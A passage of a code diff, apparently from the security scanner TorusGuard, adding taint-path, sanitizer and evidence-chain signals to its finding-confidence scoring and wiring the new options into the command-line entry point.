+ severity_floor=args.severity,
1703
+ json_output=args.json,
1704
+ include_tests=args.include_tests,
1705
+ incremental=args.incremental,
1706
+ use_taint=(not args.no_taint)
1707
+ )
1611
1708
  if args.sarif:
1612
1709
  export_sarif(target, res.get("run_folder"), args.sarif_out)
1613
1710
 
1711
+
1614
1712
  sys.exit(0 if res["critical_count"] == 0 else 1)
1615
1713
 
1616
1714
 
@@ -11,9 +11,14 @@ import argparse
11
11
  from pathlib import Path
12
12
  from typing import Dict, Any, Tuple, Optional
13
13
 
14
+ # Ensure .torusguard directory is in sys.path for core imports
15
+ _TG_DIR = Path(__file__).resolve().parent.parent
16
+ if str(_TG_DIR) not in sys.path:
17
+ sys.path.insert(0, str(_TG_DIR))
18
+
14
19
 
15
20
  def compute_memory_boost(
16
- rule_id: str,
21
+ rule_id: Optional[str] = None,
17
22
  file_path: Optional[str] = None,
18
23
  root_dir: Optional[Path] = None
19
24
  ) -> int:
@@ -112,21 +117,35 @@ def compute_confidence_score(
112
117
  memory_boost: int = 0,
113
118
  rule_id: Optional[str] = None,
114
119
  file_path: Optional[str] = None,
115
- root_dir: Optional[Path] = None
120
+ root_dir: Optional[Path] = None,
121
+ taint_path_confirmed: bool = False,
122
+ taint_depth: Optional[int] = None,
123
+ sanitizer_present: bool = False,
124
+ rule_severity: str = "High",
125
+ use_evidence_chain: bool = False,
126
+ **kwargs
116
127
  ) -> Tuple[int, str, Dict[str, Any]]:
117
128
  """
118
129
  Computes total score and assigns confidence band.
119
- Max points:
120
- - evidence_quality: 35
121
- - reproduction_success: 25
122
- - independent_confirmations: 15
123
- - environmental_clarity: 15
124
- - manual_review_status: 10
125
- - memory_boost: -30 to +20 (modifier from persistent memory)
126
- - test_deduction: -30 if file is located in a test/mock path
127
- - doc_deduction: -25 if file is located in documentation
128
- Total is clamped to [0, 100].
130
+ Supports classical factor evaluation and multi-signal evidence-chain calibration.
129
131
  """
132
+ if use_evidence_chain:
133
+ try:
134
+ from core.confidence import ConfidenceCalibrator, EvidenceSignals
135
+ signals = EvidenceSignals(
136
+ rule_severity=rule_severity,
137
+ taint_path_confirmed=taint_path_confirmed,
138
+ taint_depth=taint_depth,
139
+ sanitizer_present=sanitizer_present,
140
+ framework_context_match=True,
141
+ has_multiline_evidence=(evidence_quality >= 30),
142
+ is_test_or_mock=is_test_path(file_path),
143
+ memory_boost=memory_boost or (compute_memory_boost(rule_id, file_path=file_path, root_dir=root_dir) if rule_id else 0)
144
+ )
145
+ return ConfidenceCalibrator.calculate_score(signals)
146
+ except Exception:
147
+ pass
148
+
130
149
  eq = min(max(evidence_quality, 0), 35)
131
150
  rs = min(max(reproduction_success, 0), 25)
132
151
  ic = min(max(independent_confirmations, 0), 15)
@@ -138,6 +157,13 @@ def compute_confidence_score(
138
157
  if rule_id and eff_mem_boost == 0:
139
158
  eff_mem_boost = compute_memory_boost(rule_id, file_path=file_path, root_dir=root_dir)
140
159
 
160
+ # Taint path adjustments
161
+ taint_mod = 0
162
+ if taint_path_confirmed:
163
+ taint_mod += 15
164
+ if sanitizer_present:
165
+ taint_mod -= 35
166
+
141
167
  # Test and Doc path noise suppression
142
168
  is_test = is_test_path(file_path)
143
169
  test_deduction = -30 if is_test else 0
@@ -145,7 +171,7 @@ def compute_confidence_score(
145
171
  is_doc = is_doc_path(file_path)
146
172
  doc_deduction = -25 if is_doc else 0
147
173
 
148
- raw_total = eq + rs + ic + ec + mr + eff_mem_boost + test_deduction + doc_deduction
174
+ raw_total = eq + rs + ic + ec + mr + eff_mem_boost + taint_mod + test_deduction + doc_deduction
149
175
  total = min(max(raw_total, 0), 100)
150
176
 
151
177
  if total >= 90:
@@ -164,6 +190,9 @@ def compute_confidence_score(
164
190
  "environmental_clarity": ec,
165
191
  "manual_review_status": mr,
166
192
  "memory_boost": eff_mem_boost,
193
+ "taint_path_confirmed": taint_path_confirmed,
194
+ "taint_depth": taint_depth,
195
+ "sanitizer_present": sanitizer_present,
167
196
  "test_exemption": is_test,
168
197
  "test_deduction": test_deduction,
169
198
  "total_score": total,
@@ -172,6 +201,7 @@ def compute_confidence_score(
172
201
  return total, band, factors
173
202
 
174
203
 
204
+
175
205
  def main():
176
206
  parser = argparse.ArgumentParser(description="TorusGuard Confidence Scorer")
177
207
  parser.add_argument("--dir", type=str, help="Target project root directory to scan and score")